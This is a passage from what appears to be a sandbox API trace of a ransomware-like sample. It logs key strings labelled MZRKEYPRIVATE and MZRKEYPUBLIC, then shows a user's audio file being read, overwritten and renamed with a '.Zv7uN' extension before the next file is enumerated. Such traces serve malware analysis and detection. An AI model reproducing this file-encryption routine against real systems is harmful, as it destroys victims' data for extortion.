JHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0086.488] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f0e5cc, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", lpUsedDefaultChar=0x0) returned 2469 [0086.490] GetCurrentThreadId () returned 0xa30 [0086.490] GetCurrentThreadId () returned 0xa30 [0086.490] GetCurrentThreadId () returned 0xa30 [0086.490] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0086.490] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f1f62c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0086.491] GetCurrentThreadId () returned 0xa30 [0086.491] GetCurrentThreadId () returned 0xa30 [0086.491] GetCurrentThreadId () returned 0xa30 [0086.491] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\SIQNK8nZUW\\m-XSe-Rm7qDih2\\pYQA2b4qoY2Y NFyD.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tz0vn5ktrkt\\siqnk8nzuw\\m-xse-rm7qdih2\\pyqa2b4qoy2y nfyd.m4a"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x104 [0086.491] SetFilePointer (in: hFile=0x104, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0fc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f0fc*=0) returned 0x0 [0086.491] SetFilePointer (in: hFile=0x104, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x0 [0086.505] SetFilePointer (in: hFile=0x104, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x15877 [0086.505] SetFilePointer (in: hFile=0x104, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x0 [0086.505] ReadFile (in: hFile=0x104, lpBuffer=0x1f27430, nNumberOfBytesToRead=0x15877, lpNumberOfBytesRead=0x18f108, lpOverlapped=0x0 | out: lpBuffer=0x1f27430*, lpNumberOfBytesRead=0x18f108*=0x15877, lpOverlapped=0x0) returned 1 [0086.508] CloseHandle (hObject=0x104) returned 1 [0086.510] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\SIQNK8nZUW\\m-XSe-Rm7qDih2\\pYQA2b4qoY2Y NFyD.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tz0vn5ktrkt\\siqnk8nzuw\\m-xse-rm7qdih2\\pyqa2b4qoy2y nfyd.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x104 [0086.513] WriteFile (in: hFile=0x104, lpBuffer=0x1f3d460*, nNumberOfBytesToWrite=0x15877, lpNumberOfBytesWritten=0x18f114, lpOverlapped=0x0 | out: lpBuffer=0x1f3d460*, lpNumberOfBytesWritten=0x18f114*=0x15877, lpOverlapped=0x0) returned 1 [0086.518] CloseHandle (hObject=0x104) returned 1 [0086.521] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\SIQNK8nZUW\\m-XSe-Rm7qDih2\\pYQA2b4qoY2Y NFyD.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tz0vn5ktrkt\\siqnk8nzuw\\m-xse-rm7qdih2\\pyqa2b4qoy2y nfyd.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\SIQNK8nZUW\\m-XSe-Rm7qDih2\\pYQA2b4qoY2Y NFyD.m4a.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tz0vn5ktrkt\\siqnk8nzuw\\m-xse-rm7qdih2\\pyqa2b4qoy2y nfyd.m4a.zv7un")) returned 1 [0086.522] GetCurrentThreadId () returned 0xa30 [0086.522] GetCurrentThreadId () returned 0xa30 [0086.522] GetCurrentThreadId () returned 0xa30 [0086.522] GetCurrentThreadId () returned 0xa30 [0086.522] GetCurrentThreadId () returned 0xa30 [0086.522] GetCurrentThreadId () returned 0xa30 [0086.522] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ce5d3d0, ftCreationTime.dwHighDateTime=0x1d5d7ef, ftLastAccessTime.dwLowDateTime=0x6eb35890, ftLastAccessTime.dwHighDateTime=0x1d5e394, ftLastWriteTime.dwLowDateTime=0x6eb35890, ftLastWriteTime.dwHighDateTime=0x1d5e394, nFileSizeHigh=0x0, nFileSizeLow=0x1224e, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="tyu5ehagSO.mp3", cAlternateFileName="TYU5EH~1.MP3")) returned 1 [0086.522] FileTimeToLocalFileTime (in: lpFileTime=0x18f254, lpLocalFileTime=0x18f1b4 | out: lpLocalFileTime=0x18f1b4) returned 1 [0086.522] FileTimeToDosDateTime (in: lpFileTime=0x18f1b4, lpFatDate=0x18f222, lpFatTime=0x18f220 | out: lpFatDate=0x18f222, lpFatTime=0x18f220) returned 1 [0086.522] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\SIQNK8nZUW\\m-XSe-Rm7qDih2\\tyu5ehagSO.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tz0vn5ktrkt\\siqnk8nzuw\\m-xse-rm7qdih2\\tyu5ehagso.mp3"), fInfoLevelId=0x0, lpFileInformation=0x18f148 | out: lpFileInformation=0x18f148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ce5d3d0, ftCreationTime.dwHighDateTime=0x1d5d7ef, ftLastAccessTime.dwLowDateTime=0x6eb35890, ftLastAccessTime.dwHighDateTime=0x1d5e394, ftLastWriteTime.dwLowDateTime=0x6eb35890, ftLastWriteTime.dwHighDateTime=0x1d5e394, nFileSizeHigh=0x0, nFileSizeLow=0x1224e)) returned 1 [0086.522] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\SIQNK8nZUW\\m-XSe-Rm7qDih2\\tyu5ehagSO.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tz0vn5ktrkt\\siqnk8nzuw\\m-xse-rm7qdih2\\tyu5ehagso.mp3")) returned 0x20 [0086.523] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\SIQNK8nZUW\\m-XSe-Rm7qDih2\\tyu5ehagSO.mp3", dwFileAttributes=0x80) returned 1 [0086.525] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0086.525] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcO